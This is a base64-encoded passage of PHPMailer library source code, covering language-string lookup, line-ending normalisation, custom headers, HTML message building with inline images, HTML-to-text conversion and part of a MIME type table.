QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYW